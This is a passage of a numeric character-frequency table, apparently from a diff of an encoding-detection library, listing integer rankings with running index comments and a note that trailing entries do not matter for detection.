854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 +1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 +2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 +1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 +1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 +7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 +7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 +7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 +3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 +4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 +1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 +7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 +2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 +7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 +3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 +3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 +7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 +2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 +7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 + 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 +4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 +2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 +7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 +3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 +2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 +2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 + 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 +2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 +1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 +1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 +2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 +1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 +7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 +7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 +2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 +4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 +1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 +7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598 + 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 +4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 + 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 +2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 + 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 +1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 +1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 + 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 +3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 +3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 +1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 +3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 +7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 +7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 +1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 +2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 +1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 +3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 +2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 +3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 +2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 +4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 +4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 +3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 + 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 +3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 + 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 +3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 +3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 +3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 +1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 +7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 + 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 +7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 +1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 + 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 +4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 +3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 + 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 +2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 +2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 +3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 +1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 +4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 +2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 +1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 +1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 +2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 +3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 +1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 +7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 +1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 +4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 +1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 + 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 +1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 +3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 +3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 +2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 +1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 +4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 + 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 +7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 +2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 +3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 +4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 + 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 +7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 +7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 +1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 +4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 +3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 +2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 +3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 +3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 +2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 +1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 +4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 +3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 +3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 +2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 +4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 +7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 +3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 +2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 +3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 +1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 +2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 +3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 +4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 +2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 +2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 +7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 +1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 +2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 +1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 +3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 +4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 +2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 +3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 +3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 +2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 +4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 +2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 +3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 +4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 +7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 +3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 + 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 +1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 +4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 +1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 +4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 +7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 + 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 +7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 +2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 +1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 +1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 +3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 + 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 + 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 + 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 +3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 +2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598 + 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 +7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 +1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 +3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662 +7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 +1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 +7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 +4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 +1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 +2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 +2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 +4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 + 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 + 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 +3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 +3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 +1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 +2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 +7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 +1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 +1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 +3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 + 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 +1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 +4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 +7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 +2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 +3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 + 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 +1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 +2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 +2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 +7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 +7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 +7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 +2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 +2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 +1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 +4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 +3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 +3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 +4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 +4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 +2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 +2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 +7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 +4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 +7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 +2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 +1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 +3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 +4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 +2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 + 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 +2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 +1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 +2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 +2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 +4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 +7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 +1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 +3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 +7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 +1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 +8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 +2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 +8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 +2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 +2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 +8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 +8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 +8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 + 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 +8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 +4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 +3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 +8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 +1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 +8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 + 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 +1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 + 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 +4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 +1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 +4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 +1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 + 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 +3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 +4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 +8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 + 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 +3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 + 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 +2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 +#Everything below is of no interest for detection purpose +2515,1613,4582,8119,3312,3866,2516,8120,4058,8121,1637,4059,2466,4583,3867,8122, # 8118 +2493,3016,3734,8123,8124,2192,8125,8126,2162,8127,8128,8129,8130,8131,8132,8133, # 8134 +8134,8135,8136,8137,8138,8139,8140,8141,8142,8143,8144,8145,8146,8147,8148,8149, # 8150 +8150,8151,8152,8153,8154,8155,8156,8157,8158,8159,8160,8161,8162,8163,8164,8165, # 8166 +8166,8167,8168,8169,8170,8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181, # 8182 +8182,8183,8184,8185,8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197, # 8198 +8198,8199,8200,8201,8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213, # 8214 +8214,8215,8216,8217,8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229, # 8230 +8230,8231,8232,8233,8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245, # 8246 +8246,8247,8248,8249,8250,8251,8252,8253,8254,8255,8256,8257,8258,8259,8260,8261, # 8262 +8262,8263,8264,8265,8266,8267,8268,8269,8270,8271,8272,8273,8274,8275,8276,8277, # 8278 +8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,8290,8291,8292,8293, # 8294 +8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,8308,8309, # 8310 +8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322,8323,8324,8325, # 8326 +8326,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337,8338,8339,8340,8341, # 8342 +8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353,8354,8355,8356,8357, # 8358 +8358,8359,8360,8361,8362,8363,8364,8365,8366,8367,8368,8369,8370,8371,8372,8373, # 8374 +8374,8375,8376,8377,8378,8379,8380,8381,8382,8383,8384,8385,8386,8387,8388,8389, # 8390 +8390,8391,8392,8393,8394,8395,8396,8397,8398,8399,8400,8401,8402,8403,8404,8405, # 8406 +8406,8407,8408,8409,8410,8411,8412,8413,8414,8415,8416,8417,8418,8419,8420,8421, # 8422 